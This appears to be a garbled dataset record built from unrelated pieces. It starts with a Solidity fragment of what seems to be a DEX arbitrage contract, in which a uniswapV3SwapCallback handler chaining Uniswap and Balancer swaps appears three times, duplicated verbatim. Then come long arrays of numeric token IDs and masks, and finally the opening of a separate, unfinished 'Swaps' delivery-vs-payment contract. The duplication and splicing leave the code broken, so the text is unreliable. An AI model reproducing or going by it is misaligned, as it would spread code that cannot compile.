pair2 := shr(96,calldata32bytes)
amount2:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
type2:=and(calldata32bytes,0x0f)
zeroForOne2:=and(calldata32bytes,0xf0)
}
if(type2==0){
if (zeroForOne2){
wethTransfer(pair2,uint256(-amount0Delta)-amount2);
V2Swap(pair2,0,uint(amount1Delta),msg.sender);
}
else{
wethTransfer(pair2,uint256(-amount1Delta)-amount2);
V2Swap(pair2,uint(amount0Delta),0,msg.sender);
}
}
else if(type2==1) {
if (zeroForOne2){
V2Swap(pair2,0,uint(amount1Delta)+amount2,address(this));
wethTransfer(msg.sender,uint(amount1Delta));
}
else{
V2Swap(pair2,uint(amount0Delta)+amount2,0,address(this));
wethTransfer(msg.sender,uint(amount0Delta));
}
}
else if(type2==2) {
bytes memory data = new bytes(32);
assembly{
let calldata32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,calldata32bytes)),0x03))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==3) {
wethTransfer(msg.sender,amount2);
}
else if(type2==4) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(pair2,amount2);
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==5) {
bytes memory data = new bytes(64);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x06))
mstore(add(data, 64), fourth32bytes)
}
if(amount0Delta>0){
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount0Delta),data);
}
else{
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount1Delta),data);
}
}
else if(type2==6) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==7) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x03))
let fourth32bytes := calldataload(164)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
V3Swap(pair2,pair3,zeroForOne2,int256(amount2),data);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==8) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x03))
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
if(amount0Delta>0){
V3Swap(pair3,msg.sender,zeroForOne3,-amount0Delta,data);
}
else{
V3Swap(pair3,msg.sender,zeroForOne3,-amount1Delta,data);
}
}
else if(type2==9) {
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==10) {
assembly {
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,pair3);
}
else{
V2Swap(pair2,amount2,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount3,address(this));
}
else{
V2Swap(pair3,amount3,0,address(this));
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(msg.sender,v3In);
}
else if(type2==11) {
bytes memory data = new bytes(32);
assembly {
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x02))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==12) {
address tokenIn;
address tokenOut;
uint8 type3;
assembly {
let fourth32bytes := calldataload(164)
let fifth32bytes := calldataload(196)
tokenIn:=shr(96,fourth32bytes)
tokenOut:=shr(96,fifth32bytes)
type3:=and(fourth32bytes,0x0f)
}
if(type3==0){
uint balIn;
if(amount0Delta>0){
balIn=uint(-amount1Delta);
}
else{
balIn=uint(-amount0Delta);
}
uint out =BalSwap(pair2,tokenIn,tokenOut,balIn,zeroForOne2);
wethTransfer(msg.sender,out-amount2);
}
else if(type3==1){
uint v3Out;
if(amount0Delta>0){
v3Out=uint(-amount1Delta);
}
else{
v3Out=uint(-amount0Delta);
}
uint out=BalSwap(pair2,tokenIn,tokenOut,amount2,zeroForOne2);
erc20Transfer(tokenOut,msg.sender,out);
}
else{
revert("");
}
}
else{
revert("");
}
}
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata _data
) external override {
if( tx.origin != owner)
{
revert("");
}
assembly {
let calldata32bytes := calldataload(132)
pair2 := shr(96,calldata32bytes)
amount2:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
type2:=and(calldata32bytes,0x0f)
zeroForOne2:=and(calldata32bytes,0xf0)
}
if(type2==0){
if (zeroForOne2){
wethTransfer(pair2,uint256(-amount0Delta)-amount2);
V2Swap(pair2,0,uint(amount1Delta),msg.sender);
}
else{
wethTransfer(pair2,uint256(-amount1Delta)-amount2);
V2Swap(pair2,uint(amount0Delta),0,msg.sender);
}
}
else if(type2==1) {
if (zeroForOne2){
V2Swap(pair2,0,uint(amount1Delta)+amount2,address(this));
wethTransfer(msg.sender,uint(amount1Delta));
}
else{
V2Swap(pair2,uint(amount0Delta)+amount2,0,address(this));
wethTransfer(msg.sender,uint(amount0Delta));
}
}
else if(type2==2) {
bytes memory data = new bytes(32);
assembly{
let calldata32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,calldata32bytes)),0x03))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==3) {
wethTransfer(msg.sender,amount2);
}
else if(type2==4) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(pair2,amount2);
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==5) {
bytes memory data = new bytes(64);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x06))
mstore(add(data, 64), fourth32bytes)
}
if(amount0Delta>0){
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount0Delta),data);
}
else{
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount1Delta),data);
}
}
else if(type2==6) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==7) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x03))
let fourth32bytes := calldataload(164)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
V3Swap(pair2,pair3,zeroForOne2,int256(amount2),data);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==8) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x03))
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
if(amount0Delta>0){
V3Swap(pair3,msg.sender,zeroForOne3,-amount0Delta,data);
}
else{
V3Swap(pair3,msg.sender,zeroForOne3,-amount1Delta,data);
}
}
else if(type2==9) {
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==10) {
assembly {
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,pair3);
}
else{
V2Swap(pair2,amount2,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount3,address(this));
}
else{
V2Swap(pair3,amount3,0,address(this));
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(msg.sender,v3In);
}
else if(type2==11) {
bytes memory data = new bytes(32);
assembly {
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x02))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==12) {
address tokenIn;
address tokenOut;
uint8 type3;
assembly {
let fourth32bytes := calldataload(164)
let fifth32bytes := calldataload(196)
tokenIn:=shr(96,fourth32bytes)
tokenOut:=shr(96,fifth32bytes)
type3:=and(fourth32bytes,0x0f)
}
if(type3==0){
uint balIn;
if(amount0Delta>0){
balIn=uint(-amount1Delta);
}
else{
balIn=uint(-amount0Delta);
}
uint out =BalSwap(pair2,tokenIn,tokenOut,balIn,zeroForOne2);
wethTransfer(msg.sender,out-amount2);
}
else if(type3==1){
uint v3Out;
if(amount0Delta>0){
v3Out=uint(-amount1Delta);
}
else{
v3Out=uint(-amount0Delta);
}
uint out=BalSwap(pair2,tokenIn,tokenOut,amount2,zeroForOne2);
erc20Transfer(tokenOut,msg.sender,out);
}
else{
revert("");
}
}
else{
revert("");
}
}
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata _data
) external override {
if( tx.origin != owner)
{
revert("");
}
assembly {
let calldata32bytes := calldataload(132)
pair2 := shr(96,calldata32bytes)
amount2:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
type2:=and(calldata32bytes,0x0f)
zeroForOne2:=and(calldata32bytes,0xf0)
}
if(type2==0){
if (zeroForOne2){
wethTransfer(pair2,uint256(-amount0Delta)-amount2);
V2Swap(pair2,0,uint(amount1Delta),msg.sender);
}
else{
wethTransfer(pair2,uint256(-amount1Delta)-amount2);
V2Swap(pair2,uint(amount0Delta),0,msg.sender);
}
}
else if(type2==1) {
if (zeroForOne2){
V2Swap(pair2,0,uint(amount1Delta)+amount2,address(this));
wethTransfer(msg.sender,uint(amount1Delta));
}
else{
V2Swap(pair2,uint(amount0Delta)+amount2,0,address(this));
wethTransfer(msg.sender,uint(amount0Delta));
}
}
else if(type2==2) {
bytes memory data = new bytes(32);
assembly{
let calldata32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,calldata32bytes)),0x03))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==3) {
wethTransfer(msg.sender,amount2);
}
else if(type2==4) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(pair2,amount2);
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==5) {
bytes memory data = new bytes(64);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x06))
mstore(add(data, 64), fourth32bytes)
}
if(amount0Delta>0){
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount0Delta),data);
}
else{
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount1Delta),data);
}
}
else if(type2==6) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==7) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x03))
let fourth32bytes := calldataload(164)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
V3Swap(pair2,pair3,zeroForOne2,int256(amount2),data);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==8) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x03))
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
if(amount0Delta>0){
V3Swap(pair3,msg.sender,zeroForOne3,-amount0Delta,data);
}
else{
V3Swap(pair3,msg.sender,zeroForOne3,-amount1Delta,data);
}
}
else if(type2==9) {
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==10) {
assembly {
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,pair3);
}
else{
V2Swap(pair2,amount2,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount3,address(this));
}
else{
V2Swap(pair3,amount3,0,address(this));
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(msg.sender,v3In);
}
else if(type2==11) {
bytes memory data = new bytes(32);
assembly {
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x02))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==12) {
address tokenIn;
address tokenOut;
uint8 type3;
assembly {
let fourth32bytes := calldataload(164)
let fifth32bytes := calldataload(196)
tokenIn:=shr(96,fourth32bytes)
tokenOut:=shr(96,fifth32bytes)
type3:=and(fourth32bytes,0x0f)
}
if(type3==0){
uint balIn;
if(amount0Delta>0){
balIn=uint(-amount1Delta);
}
else{
balIn=uint(-amount0Delta);
}
uint out =BalSwap(pair2,tokenIn,tokenOut,balIn,zeroForOne2);
wethTransfer(msg.sender,out-amount2);
}
else if(type3==1){
uint v3Out;
if(amount0Delta>0){
v3Out=uint(-amount1Delta);
}
else{
v3Out=uint(-amount0Delta);
}
uint out=BalSwap(pair2,tokenIn,tokenOut,amount2,zeroForOne2);
erc20Transfer(tokenOut,msg.sender,out);
}
else{
revert("");
}
}
else{
revert("");
}
}
fallback() external payable{}
} | 16,282,545 | [
1,
20,
17,
21,
467,
654,
39,
3462,
2713,
5381,
341,
546,
33,
45,
654,
39,
3462,
12,
20,
14626,
3103,
7598,
37,
5520,
70,
3787,
23,
8090,
28,
40,
20,
37,
20,
73,
25,
39,
24,
42,
5324,
73,
1880,
29,
6840,
23,
39,
27,
4313,
39,
71,
22,
1769,
467,
654,
39,
3462,
2713,
5381,
341,
546,
33,
45,
654,
39,
3462,
12,
20,
92,
5540,
70,
40,
27,
73,
24,
72,
3600,
69,
5026,
5520,
70,
7677,
2947,
10261,
72,
8148,
8643,
37,
25,
6669,
38,
22152,
71,
11861,
71,
21,
1769,
467,
654,
39,
3462,
2713,
5381,
341,
546,
33,
45,
654,
39,
3462,
12,
20,
92,
8898,
71,
39,
9401,
5482,
25984,
8090,
73,
4848,
42,
24,
27879,
7235,
29534,
26,
73,
7301,
69,
22,
40,
72,
19249,
7140,
74,
28,
1769,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
4143,
67,
22270,
225,
353,
467,
984,
291,
91,
438,
58,
23,
12521,
2428,
288,
203,
377,
203,
565,
1758,
3410,
31,
203,
565,
467,
654,
39,
3462,
2713,
5381,
341,
546,
33,
45,
654,
39,
3462,
12,
20,
7669,
20,
37,
21,
41,
4763,
10689,
2499,
1578,
22,
72,
10580,
2733,
21,
41,
4630,
74,
28,
4449,
69,
20,
39,
5082,
39,
22,
71,
42,
3103,
29,
39,
1769,
203,
1377,
203,
565,
2254,
16874,
2713,
5381,
6989,
67,
55,
53,
12185,
67,
54,
789,
4294,
972,
273,
27542,
25,
10392,
5608,
20,
31,
203,
565,
2254,
16874,
2713,
5381,
4552,
67,
55,
53,
12185,
67,
54,
789,
4294,
972,
273,
5045,
26,
3461,
8749,
27,
4630,
24,
7140,
5340,
23254,
1578,
11035,
5324,
5082,
9401,
3462,
5520,
5482,
24532,
6418,
11035,
4366,
10580,
4630,
9803,
31,
203,
377,
203,
377,
203,
377,
203,
565,
3885,
1435,
288,
203,
3639,
3410,
33,
3576,
18,
15330,
31,
203,
565,
289,
203,
377,
203,
565,
9606,
1338,
5541,
1435,
288,
203,
1377,
2583,
12,
3576,
18,
15330,
422,
3410,
1769,
203,
1377,
389,
31,
203,
565,
289,
203,
203,
203,
565,
445,
3724,
1345,
12,
2867,
1147,
16,
11890,
3844,
13,
482,
1338,
5541,
95,
203,
3639,
467,
654,
39,
3462,
6445,
71,
3462,
33,
45,
654,
39,
3462,
12,
2316,
1769,
203,
3639,
309,
12,
8949,
34,
20,
15329,
203,
5411,
6445,
71,
3462,
18,
13866,
12,
8443,
16,
8949,
1769,
203,
3639,
289,
203,
3639,
469,
95,
203,
5411,
2254,
324,
287,
2
]
|
/*
* This code has not been reviewed.
* Do not use or deploy this code before reviewing it personally first.
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "../erc1820/ERC1820Client.sol";
import "../erc1820/ERC1820Implementer.sol";
import "../extensions/userExtensions/IERC1400TokensRecipient.sol";
import "../interface/IERC20HoldableToken.sol";
import "../interface/IHoldableERC1400TokenExtension.sol";
import "../IERC1400.sol";
import '../helpers/Errors.sol';
/**
* @title Swaps
* @dev Delivery-Vs-Payment contract for investor-to-investor token trades.
* @dev Intended usage:
* The purpose of the contract is to allow secure token transfers/exchanges between 2 stakeholders (called holder1 and holder2).
* From now on, an operation in the Swaps smart contract (transfer/exchange) is called a trade.
* Depending on the type of trade, one/multiple token transfers will be executed.
*
* The simplified workflow is the following:
* 1) A trade request is created in the Swaps smart contract, it specifies:
* - The token holder(s) involved in the trade
* - The trade executer (optional)
* - An expiration date
* - Details on the first token (address, requested amount, standard)
* - Details on the second token (address, requested amount, standard)
* - Whether the tokens need to be escrowed in the Swaps contract or not
* - The current status of the trade (pending / executed / forced / cancelled)
* 2) The trade is accepted by both token holders
* 3) [OPTIONAL] The trade is approved by token controllers (only if requested by tokens controllers)
* 4) The trade is executed (either by the executer in case the executer is specified, or by anyone)
*
* STANDARD-AGNOSTIC:
* The Swaps smart contract is standard-agnostic, it supports ETH, ERC20, ERC721, ERC1400.
* The advantage of using an ERC1400 token is to leverages its hook property, thus requiring ONE single
* transaction (operatorTransferByPartition()) to send tokens to the Swaps smart contract instead of TWO
* with the ERC20 token standard (approve() + transferFrom()).
*
* OFF-CHAIN PAYMENT:
* The contract can be used as escrow contract while waiting for an off-chain payment.
* Once payment is received off-chain, the token sender realeases the tokens escrowed in
* the Swaps contract to deliver them to the recipient.
*
* ESCROW VS SWAP MODE:
* In case escrow mode is selected, tokens need to be escrowed in Swaps smart contract
* before the trade can occur.
* In case swap mode is selected, tokens are not escrowed in the Swaps. Instead, the Swaps
* contract is only allowed to transfer tokens ON BEHALF of their owners. When trade is
* executed, an atomic token swap occurs.
*
* EXPIRATION DATE:
* The trade can be cancelled by both parties in case expiration date is passed.
*
* CLAIMS:
* The executer has the ability to force or cancel the trade.
* In case of disagreement/missing payment, both parties can contact the "executer"
* of the trade to deposit a claim and solve the issue.
*
* MARKETPLACE:
* The contract can be used as a token marketplace. Indeed, when trades are created
* without specifying the recipient address, anyone can purchase them by sending
* the requested payment in exchange.
*
* PRICE ORACLES:
* When price oracles are defined, those can define the price at which trades need to be executed.
* This feature is particularly useful for assets with NAV (net asset value).
*
*/
contract Swaps is Ownable, ERC1820Client, IERC1400TokensRecipient, ERC1820Implementer {
string constant internal DELIVERY_VS_PAYMENT = "DeliveryVsPayment";
string constant internal ERC1400_TOKENS_RECIPIENT = "ERC1400TokensRecipient";
uint256 constant internal SECONDS_IN_MONTH = 86400 * 30;
uint256 constant internal SECONDS_IN_WEEK = 86400 * 7;
bytes32 constant internal TRADE_PROPOSAL_FLAG = 0xcccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc;
bytes32 constant internal TRADE_ACCEPTANCE_FLAG = 0xdddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd;
bytes32 constant internal BYPASS_ACTION_FLAG = 0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;
bytes32 constant internal ALL_PARTITIONS = 0x0000000000000000000000000000000000000000000000000000000000000000;
enum Standard {OffChain, ETH, ERC20, ERC721, ERC1400}
enum State {Undefined, Pending, Executed, Forced, Cancelled}
enum TradeType {Allowance, Hold, Escrow}
enum Holder {Holder1, Holder2}
string internal constant ERC1400_TOKENS_VALIDATOR = "ERC1400TokensValidator";
/**
@dev Include token events so they can be parsed by Ethereum clients from the settlement transactions.
*/
// Holdable
event ExecutedHold(
address indexed token,
bytes32 indexed holdId,
bytes32 lockPreimage,
address recipient
);
// ERC20
event Transfer(address indexed from, address indexed to, uint256 tokens);
// ERC1400
event TransferByPartition(
bytes32 indexed fromPartition,
address operator,
address indexed from,
address indexed to,
uint256 value,
bytes data,
bytes operatorData
);
event CreateNote(
address indexed owner,
bytes32 indexed noteHash,
bytes metadata
);
event DestroyNote(address indexed owner, bytes32 indexed noteHash);
struct UserTradeData {
address tokenAddress;
uint256 tokenValue;
bytes32 tokenId;
Standard tokenStandard;
bool accepted;
bool approved;
TradeType tradeType;
address receiver;
}
/**
* @dev Input data for the requestTrade function
* @param holder1 Address of the first token holder.
* @param holder2 Address of the second token holder.
* @param executer Executer of the trade.
* @param expirationDate Expiration date of the trade.
* @param tokenAddress1 Address of the first token smart contract.
* @param tokenValue1 Amount of tokens to send for the first token.
* @param tokenId1 ERC721ID/holdId/partition of the first token.
* @param tokenStandard1 Standard of the first token (ETH | ERC20 | ERC721 | ERC1400).
* @param tokenAddress2 Address of the second token smart contract.
* @param tokenValue2 Amount of tokens to send for the second token.
* @param tokenId2 ERC721ID/holdId/partition of the second token.
* @param tokenStandard2 Standard of the second token (ETH | ERC20 | ERC721 | ERC1400).
* @param tradeType Indicates whether or not tokens shall be escrowed in the Swaps contract before the trade.
*/
struct TradeRequestInput {
address holder1;
address holder2;
address executer; // Set to address(0) if no executer is required for the trade
uint256 expirationDate;
address tokenAddress1;
uint256 tokenValue1;
bytes32 tokenId1;
Standard tokenStandard1;
address receiver1;
address tokenAddress2; // Set to address(0) if no token is expected in return (for example in case of an off-chain payment)
uint256 tokenValue2;
bytes32 tokenId2;
Standard tokenStandard2;
address receiver2;
TradeType tradeType1;
TradeType tradeType2;
uint256 settlementDate;
}
struct Trade {
address holder1;
address holder2;
address executer;
uint256 expirationDate;
uint256 settlementDate;
UserTradeData userTradeData1;
UserTradeData userTradeData2;
State state;
}
// Index of most recent trade request.
uint256 internal _index;
// Mapping from index to trade requests.
mapping(uint256 => Trade) internal _trades;
// Mapping from token to price oracles.
mapping(address => address[]) internal _priceOracles;
// Mapping from (token, operator) to price oracle status.
mapping(address => mapping(address => bool)) internal _isPriceOracle;
// Mapping from (token1, token2) to price ownership.
mapping(address => mapping(address => bool)) internal _priceOwnership;
// Mapping from (token1, token2, tokenId1, tokenId2) to price.
mapping(address => mapping (address => mapping (bytes32 => mapping (bytes32 => uint256)))) internal _tokenUnitPricesByPartition;
// Indicate whether Swaps smart contract is owned or not (for instance by an exchange, etc.).
bool internal _ownedContract;
// Array of trade execcuters.
address[] internal _tradeExecuters;
// Mapping from operator to trade executer status.
mapping(address => bool) internal _isTradeExecuter;
// Mapping from token to token controllers.
